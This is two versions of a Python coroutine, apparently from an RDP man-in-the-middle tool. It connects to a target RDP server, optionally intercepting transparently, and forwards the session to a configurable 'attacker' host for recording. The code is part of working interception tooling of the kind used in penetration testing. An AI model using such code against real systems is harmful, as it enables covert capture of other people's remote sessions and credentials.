async def connectToServer(self): """ Coroutine that connects to the target RDP server and the attacker. Connection to the attacker side has a 1 second timeout to avoid hanging the connection. """ serverFactory = AwaitableClientFactory(self.server.tcp) if self.config.transparent: src = self.client.tcp.transport.client connectTransparent(self.config.targetHost, self.config.targetPort, serverFactory, bindAddress=(src[0], 0)) else: reactor.connectTCP(self.config.targetHost, self.config.targetPort, serverFactory) await serverFactory.connected.wait() if self.config.attackerHost is not None and self.config.attackerPort is not None: attackerFactory = AwaitableClientFactory(self.player.tcp) reactor.connectTCP(self.config.attackerHost, self.config.attackerPort, attackerFactory) try: await asyncio.wait_for(attackerFactory.connected.wait(), 1.0) self.recorder.addTransport(self.player.tcp) except asyncio.TimeoutError: self.log.error( "Failed to connect to recording host: timeout expired")
async def connectToServer(self): """ Coroutine that connects to the target RDP server and the attacker. Connection to the attacker side has a 1 second timeout to avoid hanging the connection. """ serverFactory = AwaitableClientFactory(self.server.tcp) if self.config.transparent: if self.state.effectiveTargetHost: # Fully Transparent (with a specific poisoned target, or when using redirection) src = self.client.tcp.transport.client connectTransparent(self.state.effectiveTargetHost, self.state.effectiveTargetPort, serverFactory, bindAddress=(src[0], 0)) else: # Half Transparent (for client-side only) dst = self.client.tcp.transport.getHost().host reactor.connectTCP(dst, self.state.effectiveTargetPort, serverFactory) else: reactor.connectTCP(self.state.effectiveTargetHost, self.state.effectiveTargetPort, serverFactory) await serverFactory.connected.wait() if self.config.attackerHost is not None and self.config.attackerPort is not None and not self.player.tcp.connectedEvent.is_set(): attackerFactory = AwaitableClientFactory(self.player.tcp) reactor.connectTCP(self.config.attackerHost, self.config.attackerPort, attackerFactory) try: await asyncio.wait_for(attackerFactory.connected.wait(), 1.0) self.recorder.addTransport(self.player.tcp) except asyncio.TimeoutError: self.log.error("Failed to connect to recording host: timeout expired")